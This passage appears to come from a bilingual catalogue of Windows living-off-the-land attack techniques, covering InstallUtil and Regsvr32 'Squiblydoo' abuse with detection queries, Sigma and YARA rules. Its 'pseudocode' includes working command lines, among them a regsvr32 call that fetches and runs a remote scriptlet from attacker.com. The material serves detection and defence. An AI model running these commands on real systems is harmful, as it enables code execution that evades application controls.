"mitre": "T1218.004 - System Binary Proxy Execution: InstallUtil",
"desc": {
"en": "Abuses InstallUtil.exe to execute .NET assemblies with Uninstall method containing malicious code.",
"fr": "Abuse InstallUtil.exe pour ex\u00e9cuter des assemblies .NET avec une m\u00e9thode Uninstall contenant du code malveillant.",
},
"pseudocode": (
"# Educational pseudocode\n"
"# Compile .NET assembly with [RunInstaller(true)] class\n"
"# Override Uninstall() method with payload\n"
"InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll"
),
"detection": {
"en": "Monitor InstallUtil.exe with /U flag, unexpected .NET assembly loading, network connections from InstallUtil.",
"fr": "Surveiller InstallUtil.exe avec /U, chargements d\u2019assemblies .NET inattendus, connexions r\u00e9seau depuis InstallUtil.",
},
"countermeasure": {
"en": "Application control policies, restrict InstallUtil to admin accounts, monitor command line arguments.",
"fr": "Politiques de contr\u00f4le d\u2019applications, restreindre InstallUtil, surveiller les arguments de ligne de commande.",
},
"sysmon": "1, 7, 3",
"kql": (
'DeviceProcessEvents\n| where FileName == "InstallUtil.exe"\n'
'| where ProcessCommandLine contains "/U"\n| project Timestamp, DeviceName, ProcessCommandLine'
),
"sigma": (
"title: InstallUtil Abuse\nstatus: stable\n"
"logsource:\n product: windows\n category: process_creation\n"
"detection:\n selection:\n Image|endswith: '\\\\InstallUtil.exe'\n"
" CommandLine|contains: '/U'\n condition: selection\nlevel: high"
),
"yara": (
"rule InstallUtil_Abuse {\n strings:\n"
' $a = "RunInstallerAttribute" ascii\n $b = "Uninstall" ascii\n'
' $c = "System.Configuration.Install" ascii\n'
" condition:\n all of them\n}"
),
"edr_config": {
"en": "Block InstallUtil on standard endpoints, WDAC policies, monitor .NET assembly loading.",
"fr": "Bloquer InstallUtil sur les postes standards, politiques WDAC, surveiller les chargements .NET.",
},
},
{
"id": "regsvr32",
"category": "Living off the Land",
"name": {"en": "Regsvr32 (Squiblydoo)", "fr": "Regsvr32 (Squiblydoo)"},
"difficulty": "Easy",
"mitre": "T1218.010 - System Binary Proxy Execution: Regsvr32",
"desc": {
"en": "Uses regsvr32.exe to load remote SCT (scriptlet) files containing JScript/VBScript payloads.",
"fr": "Utilise regsvr32.exe pour charger des fichiers SCT distants contenant des payloads JScript/VBScript.",
},
"pseudocode": (
"# Educational pseudocode\n"
"regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll\n"
"# payload.sct contains JScript/VBScript code\n"
"# Executes in memory without touching disk"
),
"detection": {
"en": "Monitor regsvr32.exe with /i: flag pointing to URLs, network connections from regsvr32.",
"fr": "Surveiller regsvr32.exe avec /i: pointant vers des URLs, connexions r\u00e9seau depuis regsvr32.",
},
"countermeasure": {
"en": "Block outbound connections from regsvr32, application control, script execution restrictions.",
"fr": "Bloquer les connexions sortantes de regsvr32, contr\u00f4le d\u2019applications, restrictions de scripts.",
},
"sysmon": "1, 3, 7",
"kql": (
'DeviceProcessEvents\n| where FileName == "regsvr32.exe"\n'
'| where ProcessCommandLine contains "/i:http"\n| project Timestamp, DeviceName, ProcessCommandLine'
),
"sigma": (
"title: Regsvr32 Squiblydoo\nstatus: stable\n"
"logsource:\n product: windows\n category: process_creation\n"
"detection:\n selection:\n Image|endswith: '\\\\regsvr32.exe'\n"
" CommandLine|contains: '/i:http'\n condition: selection\nlevel: critical"
),
"yara": (
'rule Squiblydoo_SCT {\n strings:\n $a = "scriptlet" ascii nocase\n'
' $b = "registration" ascii nocase\n $c = "